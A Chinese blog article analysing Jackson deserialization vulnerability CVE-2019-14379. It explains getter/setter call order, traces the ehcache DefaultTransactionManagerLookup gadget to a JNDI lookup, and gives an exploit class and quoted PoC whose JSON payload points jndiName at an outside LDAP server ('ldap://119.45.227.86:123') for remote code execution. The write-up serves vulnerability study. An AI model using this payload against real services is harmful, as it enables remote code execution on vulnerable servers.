分析jackjson的安全漏洞CVE-2019-14379

 更新时间:2021年06月01日 12:39:54   作者:飘渺红尘  
这篇文章主要介绍了jackjson的使用及CVE-2019-14379漏洞分析,ackson知识点序列化和反序列化,setName和getName调用顺序,通过实例代码讲解的很详细,需要的朋友可以参考下

Jackson 是当前用的比较广泛的,用来序列化和反序列化 json 的 Java 的开源框架。Jackson 社 区相对比较活跃,更新速度也比较快, 从 Github 中的统计来看,Jackson 是最流行的 json 解析器之一 。今天给大家介绍jackson知识点序列化和反序列化的时候,setName和getName调用顺序:

    Student.java:

package com.test.JackSonTest;

public class Student{
    private String name;
    private Integer age;
    private Teacher teacher;

    public Student(){
        System.out.println("student构造方法被调用");
    };

    public String getName() {
        System.out.println(11111);
        return name;
    }

    public void setName(String name) {
        System.out.println(2222);
        this.name = name;

    }

    public Integer getAge() {
        return age;
    }

    public void setAge(Integer age) {
        this.age = age;
    }

    public Teacher getTeacher() {
        return teacher;
    }

    public void setTeacher(Teacher teacher) {
        this.teacher = teacher;
    }

    @Override
    public String toString() {
        return "Student{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", teacher=" + teacher +
                '}';
    }
}

  在setName和getName处,新增输出语句:

    调用测试类:

    jackson序列化和反序列化:

@Test
    public void test2() throws IOException {
        //序列化 对象转json字符串
        Student student = new Student();
        student.setName("jack");
        student.setAge(20);
        student.setTeacher(new Teacher("lua",33));
        ObjectMapper objectMapper = new ObjectMapper();
        //序列化JSON串时,在值上打印出对象类型
        objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        String result = objectMapper.writeValueAsString(student);
        System.out.println(result);
        //反序列化 json字符串转对象
        String jsonResult = "[\"com.test.JackSonTest.Student\",{\"name\":\"jack\",\"age\":20,\"teacher\":[\"com.test.JackSonTest.Teacher\",{\"name\":\"lua\",\"age\":33}]}]";
        Student stu = objectMapper.readValue(jsonResult, Student.class);
        System.out.println(stu);
    }

  输出结果:

   student构造方法被调用
2222
11111
["com.test.JackSonTest.Student",{"name":"jack","age":20,"teacher":["com.test.JackSonTest.Teacher",{"name":"lua","age":33}]}]
student构造方法被调用
2222
teacher构造方法被调用
Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}

 结论:在序列化的时候调用set*,然后调用get*方法,反序列化的时候会调用set*方法,不会调用get*方法,调用反序列化的json数据对应的类构造方法

   CVE-2019-14379漏洞分析:

  影响jackson到2.9.9.1:

   这个漏洞还是比较有意思的,其他的cve,我都看了下,都比较简单:

   先安装漏洞环境依赖:

      pom.xml:

<dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.9.8</version>
        </dependency>


        <dependency>
            <groupId>net.sf.ehcache</groupId>
            <artifactId>ehcache</artifactId>
            <version>2.10.6</version>
        </dependency>

        <dependency>
            <groupId>javax</groupId>
            <artifactId>javaee-api</artifactId>
            <version>6.0</version>
        </dependency>

  单单有ehcache依赖是不行的,还得有javaee包,否则调用ehcache的时候,会提示找不到!

    反序列化的恶意类是:net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup

    因为代码量的原因,直接静态调试了,不是很难,通过反射进入代码:

    进入类:

   找到这段代码:

public void setProperties(Properties properties) {
        if (properties != null) {
            String jndiName = properties.getProperty("jndiName");
            if (jndiName != null) {
                this.defaultJndiSelector.setJndiName(jndiName);
            }
        }

    }

  获取jndiName的值,然后设置jndiName:

  继续看这个类的其他方法:

      

public DefaultTransactionManagerLookup() {
        this.transactionManagerSelectors = new Selector[]{this.defaultJndiSelector, new GlassfishSelector(), new WeblogicSelector(), new BitronixSelector(), new AtomikosSelector()};
    }

    定义数组,存储了这些数据,其中包含了this.defaultJndiSelector,这是重点,等下会用到

   this.defaultJndiSelector的来源:

    

private final JndiSelector defaultJndiSelector = new GenericJndiSelector();

  发现defaultJndiSelector实例化了GenericJndiSelector

    这个等下要用到,这个先标记下.

    继续看这个类的其他方法:getTransactionManager():

    

  代码如下:

public TransactionManager getTransactionManager() {
        if (this.selector == null) {
            this.lock.lock();

            try {
                if (this.selector == null) {
                    this.lookupTransactionManager();
                }
            } finally {
                this.lock.unlock();
            }
        }

        return this.selector.getTransactionManager();
    }

    跟进去this.lookupTransactionManager():

    

  其中

Selector[] var1 = this.transactionManagerSelectors;
        int var2 = var1.length;

  获取的数组内容,就是DefaultTransactionManagerLookup类提供的,继续往下走代码:

  

  跟进去:

    

public TransactionManager getTransactionManager() {
        if (this.transactionManager == null) {
            this.transactionManager = this.doLookup();
        }

        return this.transactionManager;
    }

  调用this.doLookup()方法:

    跟进去:

    

  跟进到了Selector类,发现这是个抽象类:

  以前写文章说过,java基础:抽象类方法的实现在他的子类继承,如果想实现抽象类中的方法,需要子类继承父类,然后重写方法.

  寻找他的子类:

    

  跟进去看看:

    

  快速找doLookup的具体实现:

  

  把代码搞出来:

protected TransactionManager doLookup() {
        InitialContext initialContext;
        try {
            initialContext = new InitialContext();
        } catch (NamingException var14) {
            LOG.debug("cannot create initial context", var14);
            return null;
        }

        try {
            TransactionManager var3;
            try {
                Object jndiObject = initialContext.lookup(this.getJndiName());
                if (jndiObject instanceof TransactionManager) {
                    var3 = (TransactionManager)jndiObject;
                    return var3;
                }

   发现调用lookup,远程调用我们的jndiName,jndiName可以通过properties设置:

Object jndiObject = initialContext.lookup(this.getJndiName());

  

  至此都分析完了,触发jndi远程调用的文件是:net/sf/ehcache/ehcache/2.10.6/ehcache-2.10.6.jar!/net/sf/ehcache/transaction/manager/selector/JndiSelector.class

  只要我们设置我们的jndiName为恶意地址,并且调用getTransactionManager方法,即可实现rce:

  构造exp:

package com.test.JackSonTest;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.mysql.jdbc.MiniAdmin;
import net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup;
import org.jdom.transform.XSLTransformException;
import org.jdom.transform.XSLTransformer;


import java.io.IOException;
import java.sql.SQLException;
import java.util.Properties;

public class attackJdbc {
    public static void main(String[] args) throws ClassNotFoundException, IOException, SQLException, XSLTransformException {
        ObjectMapper objectMapper =new ObjectMapper();
        Class.forName("org.jdom.transform.XSLTransformer");
        Class.forName("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup");
        objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        String json2 = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":[\"java.util.Properties\",{\"jndiName\":\"ldap://119.45.227.86:123\"}]}]";
        Object o = objectMapper.readValue(json2, Object.class);
        objectMapper.writeValueAsString(o);
    }
}

    这里要writeValueAsString序列化一次,是因为只有调用get方法的时候才能触发lookup远程调用,所以这里需要序列化一次

  运行代码:

  关于恶意json的构造,参考一开始写的测试类中序列化的生成,我是根据序列化生成json反推出来的恶意json

  浅蓝提供的exp是:

 String poc = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":{\"jndiName\":\"ldap://119.45.227.86:123/hello\"}}]";

  这边执行提示我json格式错误...

  真的学到了不少哈哈哈,还是比较有意思的,虽然实战很鸡肋..

  漏洞分析参考文章:

    https://b1ue.cn/archives/189.html   

以上就是jackjson的使用及CVE-2019-14379漏洞分析的详细内容,更多关于jackjson CVE-2019-14379漏洞的资料请关注脚本之家其它相关文章!

相关文章

  • MyBatis拦截器实现分页功能实例

    MyBatis拦截器实现分页功能实例

    本篇文章主要介绍了MyBatis拦截器实现分页功能实例,这里整理了详细的代码,有需要的小伙伴可以参考下。
    2017-04-04
  • 如何避免在Java项目里大批量使用if-else?

    如何避免在Java项目里大批量使用if-else?

    想起刚开始接触JAVA时,若遇到大量流程判断语句,几乎满屏都是if-else语句,多得让自己都忘了哪里是头,哪里是尾,但是,纵然满屏是if-else,但彼时也没有觉得多别扭.等到编程能力渐渐提升之后,再回过头去看曾经写过的满屏if-else时,感觉全都是翔.....,需要的朋友可以参考下
    2021-06-06
  • java编程常用技术(推荐)

    java编程常用技术(推荐)

    下面小编就为大家带来一篇java编程常用技术(推荐)。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2016-06-06
  • Java并发工具类CountDownLatch CyclicBarrier使用详解

    Java并发工具类CountDownLatch CyclicBarrier使用详解

    这篇文章主要为大家介绍了Java并发工具类CountDownLatch CyclicBarrier使用详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2023-06-06
  • java8从list集合中取出某一属性的值的集合案例

    java8从list集合中取出某一属性的值的集合案例

    这篇文章主要介绍了java8从list集合中取出某一属性的值的集合案例,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2020-08-08
  • Java实现与JS相同的Des加解密算法完整实例

    Java实现与JS相同的Des加解密算法完整实例

    这篇文章主要介绍了Java实现与JS相同的Des加解密算法,结合完整实例形式分析了java及js实现des加密与应用的具体操作技巧,需要的朋友可以参考下
    2017-11-11
  • 使用Nexus搭建Maven私服的方法步骤

    使用Nexus搭建Maven私服的方法步骤

    这篇文章主要介绍了使用Nexus搭建Maven私服的方法步骤,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-06-06
  • 关于spring中事务的传播机制

    关于spring中事务的传播机制

    这篇文章主要介绍了关于spring中事务的传播机制,所谓事务传播机制,也就是在事务在多个方法的调用中是如何传递的,是重新创建事务还是使用父方法的事务,需要的朋友可以参考下
    2023-05-05
  • 聊聊SpringMVC项目依赖和静态资源导出问题

    聊聊SpringMVC项目依赖和静态资源导出问题

    这篇文章主要介绍了SpringMVC项目依赖和静态资源导出问题,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2021-12-12
  • SpringBoot接口实现百万并发的代码示例

    SpringBoot接口实现百万并发的代码示例

    随着互联网的发展,越来越多的应用需要支持高并发,在这种情况下,如何实现高并发成为了一个重要的问题,Spring Boot是一个非常流行的Java框架,它提供了很多方便的功能来支持高并发,本文将介绍如何使用Spring Boot来实现百万并发
    2023-10-10

最新评论